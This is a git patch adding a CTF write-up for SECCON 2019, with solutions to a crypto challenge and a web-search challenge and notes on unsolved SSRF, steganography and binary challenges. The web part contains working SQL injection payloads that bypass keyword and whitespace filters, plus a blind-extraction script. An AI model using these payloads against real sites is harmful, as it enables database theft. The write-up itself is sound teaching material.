From 5fdc3bf53fffd90e23dd1e42d444bf38d020498e Mon Sep 17 00:00:00 2001 From: michael Date: Sat, 26 Oct 2019 20:43:55 +0200 Subject: [PATCH] Add seccon19 writeup (tortagel) --- writeups/tortagel/seccon19.md | 150 ++++++++++++++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 writeups/tortagel/seccon19.md diff --git a/writeups/tortagel/seccon19.md b/writeups/tortagel/seccon19.md new file mode 100644 index 0000000..a0359d0 --- /dev/null +++ b/writeups/tortagel/seccon19.md @@ -0,0 +1,150 @@ +# SECCON CTF 2019 + +## Retrospective + +Overall I am satisfied because I managed to solve two challenges. I played about 9 hours on saturday and really had fun on it. But I also looked at quiet a view challenges where I had no idea what to do. Anyway, I learned many new things and I am quite motivated for the next CTF competitions. + +## Solved challenges + +### Welcome + +Nothing to say haha :D + +### coffee_break + +First I have to say, I was not the first in the team who solved this challenge, `@devnull` added the flag abut half a minute before I added the flag and received the message: `You already solved this`. + +Given was a python script which encrypts given strings and the flag encrypted with this script. The challenge wasn't really difficult, it was just some easy reversing of the encryption function and the flag could be decrypted. + +The developed script: + +``` python +#!/usr/bin/python2 +from Crypto.Cipher import AES +from base64 import b64decode + +key = "SECCON" +key2 = "seccon2019" +encrypted = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905" + +cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB) +text = cipher.decrypt(b64decode(encrypted)) + +flag = "" +for i in range(len(text)): + char = 95 + ord(text[i]) - (ord(key[i % len(key)]) - 0x20) + if char > ord('}'): + char = char % 95 + flag += chr(char) + +print(flag) +``` + +Flag: `SECCON{Success_Decryption_Yeah_Yeah_SECCON}` + +### web_search + +This was an interesting challenge in my opinion, not that hard, but fun. I solved it like a blind SQL injection, but afterwards I saw it actually wasn't a blind SQLi, just a normal SQLi, however, it worked also this way :D + +Given was an articles website with a search box on the top and the search results below, nothing special. I started by entering some SQL commands like `'or 1=1--` in the search box. The handy part was, after applying the search, the input changed to the accepted search input. So in this case it changed to `'1=1--`, the `or` was removed an the whitespace. From the IntroSec course I remembered the challenge where SQL commands were replaced by an empty string and `/**/` instead of blanks, so I tried `'OorR/**/1=1--`. And yes, the remaining part was `'OR/**/1=1--`, but still an error, so I replaced `--` with `#` to `'OorR/**/1=1#` and it worked! + +On the bottom of the website an article `FLAG` appeared: + +``` +The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more! +``` + +So the first part was done. I am not sure why did not think about an `union` at this point, maybe I just wanted that it is a blind SQL injection :D So i took the script from the IntroSec blind SQLi challenge an adjusted it to this challenge. + +First I tried to find something in the `information_schema.tables` table, but this throw always an error, no idea why. So I just wrote `SELECT * FROM flag` and hoped it works and yes it did. The only remaining problem was, that all commas were replaced by an empty string, so I couldn't use `MID` or `SUBSTRING`, but after some researching I found the solution, `SUBSTRING` can be used like `SUBSTRING(str FROM pos FOR len)`. Then i just had to wait while the rest of the flag came in: `You_Win_Yeah}`. + +The developed script: + +``` python +#!/usr/bin/python3 +import requests +import string +import sys + +URL = 'http://web-search.chal.seccon.jp/?q=' + +def oracle(s, query): + response = s.post(URL + query) + return "No result" not in response.text; + +chars = string.ascii_letters + "!{_}" +s = requests.Session() + +for n in range(50): + for c in chars: + # "xxx'OorR/**/BINARY'{char}'=SUBSTRING((SELECT/**/*/**/FROM/**/flag)FROM/**/{pos}/**/FOorR/**/1)#" + payload = "xxx%27OorR%2F%2A%2A%2FBINARY%27{char}%27%3DSUBSTRING%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2Fflag%29FROM%2F%2A%2A%2F{pos}%2F%2A%2A%2FFOorR%2F%2A%2A%2F1%29%23" + payload = payload.format(char=c, pos=n) + if oracle(s, payload): + sys.stdout.write(c) + sys.stdout.flush() + break + +``` + +Flag: `SECCON{Yeah_Sqli_Success_You_Win_Yeah}` + +## Not solved challenges + +### Option-Cmd-U + +Given was a website `http://ocu.chal.seccon.jp:10000/index.php` where we can enter URLs to display their source code. In the source code of the website itself was a link to the php script and the info, that the flag is in /flag.php which permits access only from internal network. From the php script we see, that it has to be a `http` address and the hostname cannot be `nginx`. So the goal would be finding an address which will be accepted anyway. + +I tried quiet a view URLs and searched online for something helpful, but wasn't really lucky. So i decided to look in the meantime to some other challenges, but later it was already solved by `@Smashing` :) + +### Sandstorm + +Given was a picture with the text: + +``` text +Hi guys, +My name is Adam. + +I've created yet another stegano. +Can you find hidden message? +``` + +I opened the picture with the tool Stegsolve and played around for a while, but I found nothing had not really an idea what todo. + +### lazy + +Given was just a hostname and the port: `lazy.chal.seccon.jp 33333`. + +`@HaH__` solved already a part of the challenge, so the login credentials were already known. + +I connected with netcat, logged in and found an entry where the binary was send, directly in the command line. I wrote the following script to write the binary data directly to a file: + +``` python +from pwn import remote + +p = remote("lazy.chal.seccon.jp", 33333) + +print(p.recv().decode()) +print(p.recv().decode()) +p.sendline("2") +print(p.recv().decode()) +p.sendline("_H4CK3R_") +print(p.recv().decode()) +print(p.recv().decode()) +p.sendline("3XPL01717") +print(p.recv().decode()) +print(p.recv().decode()) +p.sendline("4") +print(p.recv().decode()) +print(p.recv().decode()) +p.sendline("lazy") +f = open('/root/ctf/lazy/lazy', 'wb') +f.write(p.recv()) +f.write(p.recv()) +f.write(p.recv()) +f.write(p.recv()) +f.write(p.recv()) +f.close() +``` + +Afterwards i just removed the first text lines from the file manually, executed it and it worked. I looked for a wile at the source code with ghidra and assumed there must be something with an overflow to get a shell, but I did not have more time after that. -- 2.43.0